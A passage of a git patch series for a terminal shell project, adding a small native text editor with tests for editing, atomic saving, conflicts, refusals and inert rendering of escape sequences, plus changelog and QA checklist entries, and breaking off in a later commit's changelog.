wordLeft(select = false): void { this.move(this.wordStart(this.caret), select); } + wordRight(select = false): void { this.move(this.wordEnd(this.caret), select); } + home(select = false): void { this.move({line: this.caret.line, column: 0}, select); } + end(select = false): void { this.move({line: this.caret.line, column: this.lines[this.caret.line]!.length}, select); } + bufferHome(select = false): void { this.move({line: 0, column: 0}, select); } + bufferEnd(select = false): void { this.move({line: this.lines.length - 1, column: this.lines.at(-1)!.length}, select); } + + selectAll(): void { + this.anchor = {line: 0, column: 0}; + this.caret = {line: this.lines.length - 1, column: this.lines.at(-1)!.length}; + } + + /** Up/Down keep the display column the caret started from across shorter lines. */ + vertical(delta: number, select = false): void { + const target = Math.max(0, Math.min(this.lines.length - 1, this.caret.line + delta)); + if (target === this.caret.line) { this.move(delta < 0 ? {line: target, column: 0} : {line: target, column: this.lines[target]!.length}, select); return; } + this.preferred ??= displayColumn(this.lines[this.caret.line]!, this.caret.column); + this.move({line: target, column: columnAt(this.lines[target]!, this.preferred)}, select, true); + } + + setCaret(position: Position): void { + const line = Math.max(0, Math.min(this.lines.length - 1, position.line)); + this.move({line, column: Math.max(0, Math.min(this.lines[line]!.length, position.column))}, false); + } + + // ---- Search ------------------------------------------------------------------------------------------------------ + + /** The next match after the caret (or the previous one before it), wrapping; smart case. Selects it. */ + find(query: string, direction: 1 | -1 = 1): {wrapped: boolean} | undefined { + if (!query) return undefined; + const insensitive = query === query.toLowerCase(); + const fold = (text: string) => insensitive ? text.toLowerCase() : text; + const needle = fold(query); + const start = direction === 1 ? (this.selection?.end ?? this.caret) : (this.selection?.start ?? this.caret); + const count = this.lines.length; + for (let step = 0; step <= count; step += 1) { + const raw = start.line + direction * step; + const index = ((raw % count) + count) % count; + const line = fold(this.lines[index]!); + let found = -1; + if (direction === 1) found = line.indexOf(needle, step === 0 ? start.column : 0); + else { + const limit = step === 0 ? start.column - needle.length : line.length; + if (limit >= 0) found = line.lastIndexOf(needle, limit); + } + if (found >= 0 && (step > 0 || direction === -1 || found >= start.column)) { + this.anchor = {line: index, column: found}; + this.caret = {line: index, column: found + query.length}; + this.preferred = undefined; + return {wrapped: direction === 1 ? raw >= count : raw < 0}; + } + } + return undefined; + } +} diff --git a/tests/textEditor.test.ts b/tests/textEditor.test.ts new file mode 100644 index 00000000..84ab2216 --- /dev/null +++ b/tests/textEditor.test.ts @@ -0,0 +1,316 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {chmodSync, linkSync, lstatSync, mkdirSync, mkdtempSync, readdirSync, readFileSync, realpathSync, renameSync, rmSync, statSync, symlinkSync, unlinkSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {TextBuffer} from '../src/viewer/textBuffer.js'; +import {encodeLines, openForEdit, saveFile, type EditableFile} from '../src/viewer/fileEdit.js'; +import {createEditor, editorKey, renderEditor, type EditorState} from '../src/viewer/EditorPanel.js'; +import {decodeKeys} from '../src/terminal/keys.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; +import type {Key} from '../src/terminal/keys.js'; + +const scratch = () => realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-edit-'))); +async function opened(path: string): Promise { + const result = await openForEdit(path, '/'); + if (!result.ok) throw new Error(result.reason); + return result.file; +} +const refusal = async (path: string) => { + const result = await openForEdit(path, '/'); + assert.equal(result.ok, false); + return (result as {reason: string}).reason; +}; + +// ---- Buffer ------------------------------------------------------------------------------------------------------- + +test('buffer: typing, line breaks, tabs and pasted CR LF; control characters never enter the text', () => { + let clock = 0; + const buffer = new TextBuffer(['ab'], () => clock); + buffer.end(); + buffer.insert('c\u001b[2J\u0007'); + buffer.insert('\n\tline two\r\nthree\rfour'); + assert.deepEqual(buffer.lines, ['abc[2J', '\tline two', 'three', 'four']); + assert.deepEqual(buffer.caret, {line: 3, column: 4}); + buffer.backspace(); + buffer.home(); + buffer.backspace(); + assert.deepEqual(buffer.lines, ['abc[2J', '\tline two', 'threefou'], 'backspace at a line start joins the lines'); + clock += 5000; + assert.ok(buffer.dirty); +}); + +test('buffer: grapheme, word and vertical movement keep a display column across tabs and wide characters', () => { + const buffer = new TextBuffer(['hello world next', '\tx', '中文字符', 'éé']); + buffer.wordRight(); + assert.deepEqual(buffer.caret, {line: 0, column: 6}); + buffer.wordRight(); + assert.deepEqual(buffer.caret, {line: 0, column: 13}); + buffer.wordLeft(); + assert.deepEqual(buffer.caret, {line: 0, column: 6}); + buffer.setCaret({line: 0, column: 5}); + buffer.vertical(1); + assert.deepEqual(buffer.caret, {line: 1, column: 2}, 'column 5 lands after the tab (4 cells) and x'); + buffer.vertical(1); + assert.deepEqual(buffer.caret, {line: 2, column: 2}, 'wide characters: column 5 falls inside the third, so the caret stops before it'); + buffer.vertical(1); + assert.deepEqual(buffer.caret, {line: 3, column: 4}, 'the preferred column survives a shorter line'); + buffer.left(); + assert.deepEqual(buffer.caret, {line: 3, column: 2}, 'a combining sequence is one step'); +}); + +test('buffer: a selection is replaced by typing, cut by delete, and Left/Right collapse it like the composer', () => { + const buffer = new TextBuffer(['one two', 'three']); + buffer.wordRight(true); + assert.equal(buffer.selectedText(), 'one '); + buffer.insert('1 '); + assert.deepEqual(buffer.lines, ['1 two', 'three']); + buffer.selectAll(); + assert.equal(buffer.selectedText(), '1 two\nthree'); + buffer.left(); + assert.deepEqual(buffer.caret, {line: 0, column: 0}); + buffer.vertical(1, true); + buffer.delete(); + assert.deepEqual(buffer.lines, ['three']); +}); + +test('buffer: undo and redo coalesce bursts, restore the caret, and the saved text reads clean again', () => { + let clock = 0; + const buffer = new TextBuffer(['x'], () => clock); + buffer.end(); + for (const character of 'abc') { buffer.insert(character); clock += 100; } + clock += 5000; + buffer.insert('!'); + buffer.markSaved(); + assert.equal(buffer.dirty, false); + buffer.backspace(); + assert.equal(buffer.dirty, true); + assert.ok(buffer.undo()); + assert.equal(buffer.dirty, false, 'back to the saved text'); + assert.ok(buffer.undo()); + assert.deepEqual(buffer.lines, ['xabc']); + assert.ok(buffer.undo(), 'typing abc was one step'); + assert.deepEqual(buffer.lines, ['x']); + assert.deepEqual(buffer.caret, {line: 0, column: 1}); + assert.equal(buffer.dirty, true); + assert.ok(buffer.redo() && buffer.redo()); + assert.deepEqual(buffer.lines, ['xabc!']); + assert.equal(buffer.dirty, false); + // A saved state pushed out of the bounded history can never read as clean again. + const long = new TextBuffer(['']); + long.markSaved(); + for (let step = 0; step < 520; step += 1) { long.insert('\n'); } + while (long.undo()) { /* as far back as the history goes */ } + assert.equal(long.dirty, true); +}); + +test('buffer: find selects the next match, smart case, wrapping', () => { + const buffer = new TextBuffer(['Alpha beta', 'gamma ALPHA', 'alpha']); + assert.deepEqual(buffer.find('alpha'), {wrapped: false}); + assert.equal(buffer.selectedText(), 'Alpha'); + buffer.find('alpha'); + assert.deepEqual(buffer.caret, {line: 1, column: 11}); + buffer.find('alpha'); + assert.deepEqual(buffer.find('alpha'), {wrapped: true}); + assert.deepEqual(buffer.anchor, {line: 0, column: 0}); + assert.equal(buffer.find('Zeta'), undefined); +}); + +// ---- Opening and saving --------------------------------------------------------------------------------------------- + +test('open: only files that can be saved back exactly and safely; every refusal says why', async () => { + const root = scratch(); + try { + writeFileSync(join(root, 'mixed.txt'), 'a\r\nb\nc\n'); + assert.match(await refusal(join(root, 'mixed.txt')), /mixes LF and CRLF/u); + writeFileSync(join(root, 'bad.txt'), Buffer.from([0x61, 0xff, 0x0a])); + assert.match(await refusal(join(root, 'bad.txt')), /not valid UTF-8/u); + writeFileSync(join(root, 'bin'), Buffer.from([1, 0, 2])); + assert.match(await refusal(join(root, 'bin')), /binary/u); + writeFileSync(join(root, 'big.txt'), 'x'.repeat(2 * 1024 * 1024)); + assert.match(await refusal(join(root, 'big.txt')), /larger than 1024 KiB/u); + writeFileSync(join(root, 'linked.txt'), 'a\n'); + linkSync(join(root, 'linked.txt'), join(root, 'second-link.txt')); + assert.match(await refusal(join(root, 'linked.txt')), /other hard links/u); + mkdirSync(join(root, 'dir')); + assert.match(await refusal(join(root, 'dir')), /is a directory/u); + assert.match(await refusal(join(root, 'nowhere', 'x.txt')), /does not exist; create the directory first/u); + symlinkSync(join(root, 'absent.txt'), join(root, 'dangling.txt')); + assert.match(await refusal(join(root, 'dangling.txt')), /symlink to a missing file/u); + if (process.getuid?.() !== 0) { + writeFileSync(join(root, 'ro.txt'), 'r\n'); + chmodSync(join(root, 'ro.txt'), 0o444); + assert.match(await refusal(join(root, 'ro.txt')), /read-only/u); + mkdirSync(join(root, 'locked')); + writeFileSync(join(root, 'locked', 'in.txt'), 'i\n'); + chmodSync(join(root, 'locked'), 0o555); + assert.match(await refusal(join(root, 'locked', 'in.txt')), /folder holding .* is not writable/u); + chmodSync(join(root, 'locked'), 0o755); + } + const fresh = await opened(join(root, 'new.txt')); + assert.equal(fresh.identity, undefined); + assert.deepEqual(fresh.lines, ['']); + } finally { rmSync(root, {recursive: true, force: true}); } +}); + +test('save: atomic replacement keeps mode, BOM, CRLF and a missing final newline; through a symlink the link stays', async () => { + const root = scratch(); + try { + const path = join(root, 'notes.txt'); + writeFileSync(path, Buffer.concat([Buffer.from([0xef, 0xbb, 0xbf]), Buffer.from('one\r\ntwo', 'utf8')])); + chmodSync(path, 0o640); + const file = await opened(path); + assert.deepEqual(file.lines, ['one', 'two']); + assert.equal(file.lineEnding, 'crlf'); + assert.equal(file.bom, true); + assert.equal(file.finalNewline, false); + const saved = await saveFile(file, ['one', 'two', 'three']); + assert.ok(saved.ok); + assert.deepEqual(readFileSync(path), Buffer.concat([Buffer.from([0xef, 0xbb, 0xbf]), Buffer.from('one\r\ntwo\r\nthree', 'utf8')])); + assert.equal(statSync(path).mode & 0o777, 0o640); + assert.deepEqual(readdirSync(root), ['notes.txt'], 'no temporary file is left behind'); + + writeFileSync(join(root, 'target.md'), '# t\n'); + symlinkSync(join(root, 'target.md'), join(root, 'link.md')); + const viaLink = await opened(join(root, 'link.md')); + assert.equal(viaLink.realPath, join(root, 'target.md')); + assert.ok((await saveFile(viaLink, ['# changed'])).ok); + assert.ok(lstatSync(join(root, 'link.md')).isSymbolicLink(), 'the symlink is kept; its target is written'); + assert.equal(readFileSync(join(root, 'target.md'), 'utf8'), '# changed\n'); + assert.deepEqual(encodeLines({lineEnding: 'lf', bom: false, finalNewline: true}, ['']), Buffer.alloc(0), 'an emptied file is empty'); + } finally { rmSync(root, {recursive: true, force: true}); } +}); + +test('save: a changed, replaced or deleted original is a conflict; Overwrite is explicit; a new file never replaces one that appeared', async () => { + const root = scratch(); + try { + const path = join(root, 'conf.txt'); + writeFileSync(path, 'mine\n'); + const file = await opened(path); + writeFileSync(path, 'theirs, longer\n'); + const changed = await saveFile(file, ['edited']); + assert.ok(!changed.ok && changed.conflict === 'changed'); + assert.equal(readFileSync(path, 'utf8'), 'theirs, longer\n', 'nothing was written'); + assert.ok((await saveFile(file, ['edited'], {force: true})).ok); + assert.equal(readFileSync(path, 'utf8'), 'edited\n'); + + const again = await opened(path); + writeFileSync(join(root, 'other.txt'), 'other\n'); + renameSync(join(root, 'other.txt'), path); + const replaced = await saveFile(again, ['x']); + assert.ok(!replaced.ok && replaced.conflict === 'replaced'); + + const gone = await opened(path); + unlinkSync(path); + const deleted = await saveFile(gone, ['x']); + assert.ok(!deleted.ok && deleted.conflict === 'deleted'); + + const fresh = await opened(join(root, 'fresh.txt')); + writeFileSync(join(root, 'fresh.txt'), 'someone else\n'); + const exists = await saveFile(fresh, ['mine']); + assert.ok(!exists.ok && exists.conflict === 'exists'); + assert.equal(readFileSync(join(root, 'fresh.txt'), 'utf8'), 'someone else\n'); + unlinkSync(join(root, 'fresh.txt')); + const created = await saveFile(fresh, ['mine']); + assert.ok(created.ok && created.file.identity); + assert.equal(readFileSync(join(root, 'fresh.txt'), 'utf8'), 'mine\n'); + assert.deepEqual(readdirSync(root).filter(name => name.includes('.nmsh-')), [], 'no temporary files'); + } finally { rmSync(root, {recursive: true, force: true}); } +}); + +test('save: a failure keeps the text and leaves nothing behind', {skip: process.getuid?.() === 0 && 'root ignores permissions'}, async () => { + const root = scratch(); + try { + mkdirSync(join(root, 'd')); + const path = join(root, 'd', 'f.txt'); + writeFileSync(path, 'a\n'); + const file = await opened(path); + chmodSync(join(root, 'd'), 0o555); + const result = await saveFile(file, ['b']); + assert.ok(!result.ok && !result.conflict); + assert.match(result.reason, /permission denied/u); + chmodSync(join(root, 'd'), 0o755); + assert.equal(readFileSync(path, 'utf8'), 'a\n'); + assert.deepEqual(readdirSync(join(root, 'd')), ['f.txt']); + } finally { chmodSync(join(root, 'd'), 0o755); rmSync(root, {recursive: true, force: true}); } +}); + +// ---- Panel -------------------------------------------------------------------------------------------------------- + +const keysFor = (bytes: string): Key[] => decodeKeys(bytes); +function press(state: EditorState, input: string | Key, columns = 80, height = 24) { + let action; + for (const key of typeof input === 'string' ? keysFor(input) : [input]) action = editorKey(state, key, columns, height) ?? action; + return action; +} + +test('panel: the editor keys work from real terminal bytes (Ctrl+S save, Ctrl+Z/Ctrl+Y, Ctrl+F, Ctrl+C/Ctrl+X)', async () => { + const root = scratch(); + try { + writeFileSync(join(root, 'a.txt'), 'hello\n'); + const state = createEditor(await opened(join(root, 'a.txt'))); + press(state, '\u001b[F'); + press(state, ' world'); + assert.deepEqual(state.buffer.lines, ['hello world']); + assert.deepEqual(press(state, '\u0013'), {kind: 'save'}); + press(state, '\u001a'); + assert.deepEqual(state.buffer.lines, ['hello']); + press(state, '\u0019'); + assert.deepEqual(state.buffer.lines, ['hello world']); + press(state, '\u0006'); + press(state, 'wor'); + press(state, '\r'); + assert.equal(state.buffer.selectedText(), 'wor'); + assert.deepEqual(press(state, '\u0003'), {kind: 'copy', text: 'wor'}); + assert.deepEqual(press(state, '\u0018'), {kind: 'copy', text: 'wor'}); + assert.deepEqual(state.buffer.lines, ['hello ld']); + } finally { rmSync(root, {recursive: true, force: true}); } +}); + +test('panel: Esc with unsaved changes asks; Discard, Save and Keep editing do what they say; conflicts offer Overwrite or Reload', async () => { + const root = scratch(); + try { + writeFileSync(join(root, 'b.txt'), 'b\n'); + const file = await opened(join(root, 'b.txt')); + const clean = createEditor(file); + assert.deepEqual(press(clean, {kind: 'escape'}), {kind: 'close'}, 'nothing to lose: Esc closes'); + const state = createEditor(file); + press(state, 'x'); + assert.equal(press(state, {kind: 'escape'}), undefined); + assert.equal(state.dialog?.kind, 'unsaved'); + assert.match(stripAnsi(renderEditor(state, 80, 24).join('\n')), /unsaved changes[\s\S]*Save[\s\S]*Discard changes[\s\S]*Keep editing/u); + assert.equal(press(state, {kind: 'escape'}), undefined, 'Esc in the question keeps editing'); + assert.equal(state.dialog, undefined); + press(state, {kind: 'escape'}); + assert.deepEqual(press(state, 's'), {kind: 'save', thenClose: true}); + press(state, {kind: 'escape'}); + assert.deepEqual(press(state, {kind: 'right'}), undefined); + assert.deepEqual(press(state, {kind: 'enter'}), {kind: 'close'}, 'Discard was focused'); + state.dialog = {kind: 'conflict', focus: 0, conflict: 'changed', reason: 'b.txt changed on disk since you opened it.'}; + assert.match(stripAnsi(renderEditor(state, 80, 24).join('\n')), /changed on disk[\s\S]*Keep editing[\s\S]*Overwrite[\s\S]*Reload, discard mine/u); + assert.deepEqual(press(state, 'o'), {kind: 'save', force: true}); + state.dialog = {kind: 'conflict', focus: 0, conflict: 'changed'}; + assert.deepEqual(press(state, 'r'), {kind: 'reload'}); + } finally { rmSync(root, {recursive: true, force: true}); } +}); + +test('panel: hostile file content is drawn inert, the caret and selection are visible without color, and it fits narrow panels', async () => { + const root = scratch(); + try { + writeFileSync(join(root, 'h.txt'), 'evil \u001b]8;;https://x\u0007link\u001b[2J and ‮right\n\tindented 中文\n'); + const state = createEditor(await opened(join(root, 'h.txt'))); + press(state, '\u001b[1;2C'); + for (const [columns, height] of [[80, 24], [32, 10], [20, 6]] as const) { + const rows = renderEditor(state, columns, height); + assert.ok(rows.length <= height); + for (const row of rows) { + assert.doesNotMatch(row.replace(/\u001b\[[0-9;]*m/gu, ''), /[\u001b‮]/u); + assert.ok(displayWidth(stripAnsi(row)) <= columns); + } + } + const wide = renderEditor(state, 100, 24).join('\n'); + assert.match(stripAnsi(wide), /evil ␛\]8;;https:\/\/x·link␛\[2J and ·right/u); + assert.match(wide, /\u001b\[7me\u001b\[0m/u, 'the selected first character is reverse video'); + assert.match(stripAnsi(wide), /Ln 1, Col 2 · 1 selected/u); + } finally { rmSync(root, {recursive: true, force: true}); } +}); diff --git a/tests/viewerApp.test.ts b/tests/viewerApp.test.ts index c03d0c87..c755f7aa 100644 --- a/tests/viewerApp.test.ts +++ b/tests/viewerApp.test.ts @@ -1,6 +1,7 @@ import test from 'node:test'; import assert from 'node:assert/strict'; -import {mkdtempSync, realpathSync, rmSync, writeFileSync} from 'node:fs'; +import {once} from 'node:events'; +import {mkdtempSync, readFileSync, realpathSync, rmSync, writeFileSync} from 'node:fs'; import {tmpdir} from 'node:os'; import {join} from 'node:path'; import {isolateConfig} from './support/isolatedConfig.js'; @@ -63,6 +64,8 @@ test('/view reads relative to the shell directory; a missing file is repo const app = new TerminalApp(); app['render'] = () => {}; try { + // The real shell's startup prompt sets the directory; set the test's own after it. + await once(app['session'], 'prompt'); app['shellCwd'] = root; writeFileSync(join(root, 'notes.md'), '# Notes\n\nhello\n'); app['openViewer']('notes.md', '/view notes.md'); @@ -75,3 +78,40 @@ test('/view reads relative to the shell directory; a missing file is repo assert.equal(app['viewer'], undefined); } finally { app['stop'](0); app['session'].kill(); isolation.restore(); rmSync(root, {recursive: true, force: true}); } }); + +test('/edit opens a small file, Ctrl+S saves it, Esc closes; e in /view edits the file shown; refusals are reported', async () => { + const isolation = isolateConfig(); + const root = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-editapp-'))); + const app = new TerminalApp(); + app['render'] = () => {}; + try { + // The real shell's startup prompt sets the directory; set the test's own after it. + await once(app['session'], 'prompt'); + app['shellCwd'] = root; + writeFileSync(join(root, 'todo.txt'), 'buy milk\n'); + app['openTextEditor']('todo.txt', '/edit todo.txt'); + await until(() => app['textEditor'] !== undefined, 'the editor'); + assert.equal(app['hasModalInput'](), true); + app['handleKey']({kind: 'bufferEnd'}); + app['handleKey']({kind: 'text', value: ' and eggs'}); + assert.equal(app['editor'].text, '', 'keys belong to the editor, not the composer'); + app['handleKey']({kind: 'sendToProgram'}); + await until(() => readFileSync(join(root, 'todo.txt'), 'utf8') === 'buy milk and eggs\n', 'the save'); + await until(() => app['textEditor']?.busy === false, 'the save to settle'); + assert.equal(app['textEditor']!.buffer.dirty, false); + app['handleKey']({kind: 'escape'}); + assert.equal(app['textEditor'], undefined); + + app['openViewer']('todo.txt', '/view todo.txt'); + await until(() => app['viewer'] !== undefined, 'the viewer'); + app['handleKey']({kind: 'text', value: 'e'}); + await until(() => app['textEditor'] !== undefined, 'the editor from the viewer'); + assert.equal(app['viewer'], undefined); + app['handleKey']({kind: 'escape'}); + + writeFileSync(join(root, 'blob'), Buffer.from([0, 1, 2])); + app['openTextEditor']('blob', '/edit blob'); + await until(() => /looks binary/u.test(transcriptText(app)), 'the refusal'); + assert.equal(app['textEditor'], undefined); + } finally { app['stop'](0); app['session'].kill(); isolation.restore(); rmSync(root, {recursive: true, force: true}); } +}); diff --git a/tests/viewerLive.test.ts b/tests/viewerLive.test.ts index 79f3e0e4..ec0910e5 100644 --- a/tests/viewerLive.test.ts +++ b/tests/viewerLive.test.ts @@ -56,3 +56,24 @@ test('live: /view reads a file and the latest output; find, go to line, copy all await frontend.run('echo AFTER-VIEW', /AFTER-VIEW/u); } finally { await sandbox.dispose(); } }); + +test('live: /edit creates a file, typed text and Ctrl+S from real terminal bytes save it, Esc returns to the composer', {skip: supported ? false : 'unsupported platform', timeout: 120_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: 'zsh'}); + const frontend = sandbox.launch([], {cols: 100, rows: 30}); + try { + await frontend.waitFor(/Vespyr|notMyShell|zsh/u); + await frontend.run('echo READY', /READY/u); + let mark = frontend.mark; + frontend.pty.write('/edit notes.txt\r'); + await frontend.waitFor(/notes\.txt[\s\S]*new file[\s\S]*Ctrl\+S save/u, mark); + frontend.pty.write('first line\rsecond\tline'); + mark = frontend.mark; + frontend.pty.write('\u0013'); + await frontend.waitFor(/Saved/u, mark); + assert.equal(readFileSync(join(sandbox.home, 'notes.txt'), 'utf8'), 'first line\nsecond\tline\n'); + mark = frontend.mark; + frontend.pty.write('\u001b'); + await frontend.waitFor(/❯/u, mark); + await frontend.run('cat notes.txt', /second\s+line/u); + } finally { await sandbox.dispose(); } +}); From f5f65a9b4ca9fc9c8dcbb9e9558deae141293484 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 14:02:34 +0530 Subject: [PATCH 009/157] /edit slice: changelog, physical QA checklist and ledger --- CHANGELOG.md | 3 +++ docs/development/v021-ledger.md | 4 ++-- docs/testing/v021-physical-qa.md | 19 +++++++++++++++++++ 3 files changed, 24 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5a53cf4c..6efdc7ed 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - **`/view`, a native read-only viewer** for files and completed output ([#397](https://github.com/raiseCatError/notMyShell/issues/397)). `/view README.md` opens a file relative to the shell's directory (`~` for home): Markdown renders (`m` shows the source), source files get syntax colors and line numbers, `.diff`/`.patch` files and `git diff`/`git show` output read as diffs. `/view N` opens completed output N (numbered as `/copy` numbers it) and `/view` the latest; Actions → View output does the same for a block. Find with `/` and `n`/`N`, go to a line with `:`, `w` toggles wrapping (Left/Right scroll sideways), `l` line numbers, `c` copies the whole text, Esc closes. Viewing never changes the file or the transcript. - Limits: regular files only (directories, devices and pipes are refused), at most 8 MiB and 200,000 lines (the rest is named, with `less` or an editor as the way to read it), binary and UTF-16 files are refused, invalid UTF-8 is shown with `�` and a note. Control characters, escape sequences and invisible format characters are shown as visible marks, never interpreted. Open in pager, `less`, `bat` and Glow are unchanged. +- **`/edit`, a small native editor** for one text file ([#402](https://github.com/raiseCatError/notMyShell/issues/402)). `/edit notes.md` (or `e` in `/view`) opens the file in a panel: type, select with Shift, Ctrl+Z / Ctrl+Y undo and redo, Ctrl+F find, Ctrl+C / Ctrl+X copy and cut, Ctrl+S save, Esc close (it asks about unsaved changes). A path that does not exist yet is created on the first save. It is for quick edits, not an IDE: `vim`, `nano`, `micro` and your `$EDITOR` still run as usual. + - Safe saving: the new text is written beside the file and renamed over it, keeping its mode, group, line endings, BOM and final newline; a symlink stays a symlink. If the file changed, was replaced or was deleted since you opened it, nothing is written until you choose Keep editing, Overwrite or Reload. A new file never replaces one that appeared meanwhile. + - Limits: your own regular UTF-8 text files up to 1 MiB with one hard link, writable, with one kind of line ending. Others are refused with the reason and stay readable in `/view`. Extended attributes and ACLs are not carried over by a save. Unsaved text is lost if the NMSh window itself is closed. ### Fixed diff --git a/docs/development/v021-ledger.md b/docs/development/v021-ledger.md index 4644df2d..e1358a5e 100644 --- a/docs/development/v021-ledger.md +++ b/docs/development/v021-ledger.md @@ -17,7 +17,7 @@ Automated results here are not physical-terminal validation. | 0 | Design and ledger | #410 | `docs/v021-design` / #411 | | PR open, CI green; awaiting merge | | 1 | Reliability gates | #403, #408, #388 | `fix/v021-reliability` (stacked on #411) | | PR open | | 2 | `/view` | #397, #402 | `feature/v021-view` (stacked on slice 1) | | PR open | -| 3 | `/edit` | #402 | | | | +| 3 | `/edit` | #402 | `feature/v021-edit` (stacked on slice 2) | | PR open | | 4 | Semantic Output | #386 | | | | | 5 | `/track` | #393 (#394) | | | | | 6 | Modules and diagnostics | #364, #365 | | | | @@ -35,7 +35,7 @@ Automated results here are not physical-terminal validation. Checklist: [v0.21 physical QA](../testing/v021-physical-qa.md). Slice 1: section 1 (multi-row progress in Ghostty and Terminal.app, queued highlight colors). Slice 2: section 2 (`/view` keys, rendering, refusals, hostile text, -NO_COLOR). +NO_COLOR). Slice 3: section 3 (`/edit` editing keys, saving, conflicts, refusals). ## Verification notes diff --git a/docs/testing/v021-physical-qa.md b/docs/testing/v021-physical-qa.md index 3cee9cac..8d03ff04 100644 --- a/docs/testing/v021-physical-qa.md +++ b/docs/testing/v021-physical-qa.md @@ -18,6 +18,8 @@ | 1 Multi-row progress (#388) | Terminal.app | macOS | Bash or Fish | | Not run | | | 2 `/view` | Ghostty | macOS | zsh | | Not run | | | 2 `/view` | Terminal.app | macOS | zsh | | Not run | | +| 3 `/edit` | Ghostty | macOS | zsh | | Not run | | +| 3 `/edit` | Terminal.app | macOS | Bash or Fish | | Not run | | ## 1. Multi-row progress redraws (#388) @@ -50,3 +52,20 @@ - [ ] 2.8 Esc closes, the composer draft and cursor are where they were, and a running command's output kept arriving underneath. At 32×10 the viewer still fits and Esc is shown. - [ ] 2.9 `NO_COLOR=1` and Safe glyphs: matches and the current match are still visible (reverse video). + +## 3. Native editor (`/edit`) + +- [ ] 3.1 `/edit notes.txt` in an empty folder: it says *new file*; type two lines with Enter and a Tab, Ctrl+S says + *Saved*, Esc returns to the composer, `cat -A notes.txt` shows the tab and a final newline. +- [ ] 3.2 Shift+arrows, Shift+Alt+arrows and Cmd+Shift+arrows select; typing replaces the selection; Ctrl+C copies + and Ctrl+X cuts it (paste it back with the terminal's paste); Ctrl+Z undoes a typed word in one step, Ctrl+Y redoes. +- [ ] 3.3 Ctrl+F finds (lowercase ignores case), Enter again finds the next match. +- [ ] 3.4 Edit, then Esc: the question offers Save, Discard changes and Keep editing; each does what it says. +- [ ] 3.5 Conflict: `/edit notes.txt`, change it from another terminal (`echo x >> notes.txt`), then Ctrl+S: nothing is + written until you choose; Overwrite writes yours, Reload shows theirs. +- [ ] 3.6 A CRLF file with a BOM keeps both after saving (`xxd file | head -1`); `chmod 640` survives a save; editing + through a symlink keeps the symlink. +- [ ] 3.7 Refusals: a binary (`/edit /bin/ls`), a root-owned file (`/edit /etc/hosts`), a 2 MB file, a read-only file + (`chmod 444`) each explain why, and `/view` still opens them. +- [ ] 3.8 `e` in `/view README.md` opens the editor on the same file; `vim notes.txt` and `nano notes.txt` still run as + usual from the composer. From 94588158c52c9799d28caf0dccc29a858a4630ad Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 14:14:31 +0530 Subject: [PATCH 010/157] Semantic Output, first phase: test and build readings in their blocks (#386) A completed block whose output a recognizer is sure of gets one overview row with the counts the tool printed and, when it listed failures or diagnostics, a details row that opens them (verbatim lines, at most 20 plus a count). Recognizers: Node's test runner (spec, TAP), Jest, Vitest, pytest, cargo test, go test, TypeScript, Rust and GCC/Clang diagnostics (diagnostics only from build commands or failed ones). Short passing output gets nothing. Readings are derived per record, never stored: the transcript lines, raw folding, find, selection and plain /copy are unchanged, and derived rows are skipped by find and selection. Details start open when the raw output is folded; a click on the details row or Actions -> Show or hide details toggles them. /copy --semantic and --both copy the reading (raw once for an output without one, said in the note). Settings -> Transcript -> Semantic Output. --- CHANGELOG.md | 1 + docs/design/v021-terminal-intelligence.md | 4 +- docs/development/v021-ledger.md | 5 +- docs/testing/v021-physical-qa.md | 16 ++ src/app/TerminalApp.ts | 36 +++- src/clipboard/copySelection.ts | 40 +++- src/commands/slashCommands.ts | 2 +- src/output/OutputBuffer.ts | 43 +++++ src/output/OutputSelection.ts | 2 +- src/output/TranscriptPresenter.ts | 7 + src/output/TranscriptSearch.ts | 2 +- src/output/TranscriptSelection.ts | 2 +- src/output/semantic.ts | 219 ++++++++++++++++++++++ src/output/semanticRows.ts | 47 +++++ src/output/viewport.ts | 4 + src/prompt/configuration.ts | 8 +- src/setup/SetupCat.ts | 1 + src/ui/BlockActions.ts | 10 +- src/ui/SettingsPanel.ts | 6 +- tests/blockActions.test.ts | 3 +- tests/semanticOutput.test.ts | 166 ++++++++++++++++ tests/semanticOutputLive.test.ts | 35 ++++ 22 files changed, 630 insertions(+), 29 deletions(-) create mode 100644 src/output/semantic.ts create mode 100644 src/output/semanticRows.ts create mode 100644 tests/semanticOutput.test.ts create mode 100644 tests/semanticOutputLive.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 6efdc7ed..e33080a1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,6 +13,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - **`/edit`, a small native editor** for one text file ([#402](https://github.com/raiseCatError/notMyShell/issues/402)). `/edit notes.md` (or `e` in `/view`) opens the file in a panel: type, select with Shift, Ctrl+Z / Ctrl+Y undo and redo, Ctrl+F find, Ctrl+C / Ctrl+X copy and cut, Ctrl+S save, Esc close (it asks about unsaved changes). A path that does not exist yet is created on the first save. It is for quick edits, not an IDE: `vim`, `nano`, `micro` and your `$EDITOR` still run as usual. - Safe saving: the new text is written beside the file and renamed over it, keeping its mode, group, line endings, BOM and final newline; a symlink stays a symlink. If the file changed, was replaced or was deleted since you opened it, nothing is written until you choose Keep editing, Overwrite or Reload. A new file never replaces one that appeared meanwhile. - Limits: your own regular UTF-8 text files up to 1 MiB with one hard link, writable, with one kind of line ending. Others are refused with the reason and stay readable in `/view`. Extended attributes and ACLs are not carried over by a save. Unsaved text is lost if the NMSh window itself is closed. +- **Semantic Output** for test runs and builds ([#386](https://github.com/raiseCatError/notMyShell/issues/386), first phase). A completed block whose output NMSh recognizes gets one overview row with the counts the tool printed (`✔ node --test · 1,772 passed · 0 failed · 25 skipped`, `✘ TypeScript · 3 errors in 2 files`) and, when it listed failures or diagnostics, a details row that 